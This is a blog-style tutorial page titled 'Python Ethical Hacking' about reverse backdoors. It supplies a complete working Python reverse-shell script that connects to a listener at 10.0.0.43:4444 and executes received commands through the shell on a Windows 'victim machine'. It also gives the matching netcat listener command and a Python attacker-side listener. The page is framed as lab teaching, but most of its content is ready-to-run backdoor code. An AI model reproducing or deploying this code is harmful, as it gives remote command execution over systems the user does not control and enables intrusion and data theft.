zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

    REVERSE_BACKDOOR

    • Access file system.
    • Execute system commands.
    • Download files.
    • Upload files.
    • Persistence.

    BACKDOORS

    An interactive program gives access to a system its executed on.

    • Command execution.
    • Access file system.
    • Upload/download files.
    • Run keylogger.
    • ...etc

     

     

     Write the Reverse backdoor Python script and execute on Windows machine. (Victim machine)

    #!/usr/bin/env python
    import socket
    import subprocess
    
    
    def execute_system_command(command):
        return subprocess.check_output(command, shell=True)
    
    
    connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connection.connect(("10.0.0.43", 4444))
    
    connection.send(b"
    [+] Connection established.
    ")
    
    while True:
        command = connection.recv(1024).decode()
        command_result = execute_system_command(command)
        connection.send(command_result)
    
    connection.close()

    Run the listening progress on the Kali Linux to establish the connection and execute the system commands.

    nc -vv -l -p 4444

    Write and execute the Python Listener:

    #!/usr/bin/env python
    import socket
    
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind(("10.0.0.43", 4444))
    listener.listen(0)
    print("[+] Waiting for incoming connections")
    connection, address = listener.accept()
    print("[+] Got a connection from " + str(address))
    
    while True:
        command = input(">> ").encode()
        connection.send(command)
        result = connection.recv(1024).decode()
        print(result)

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    mysql索引
    mysql主从复制(同步)
    MySQL事务与锁
    四大高阶函数
    客户端、服务端通信值统计字符串个数【网络程序设计
    《Unicast QoS Routing Algorithms for SDN Survey 2018》【毕设
    CDQ分治【待补充,数据结构
    KD树学习小结【待补充,数据结构
    线段树模板【数据结构
    【牛客网】牛客练习赛19 F 算式子【数学--递推 、前缀、数字】
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11624972.html
Copyright © 2011-2022 走看看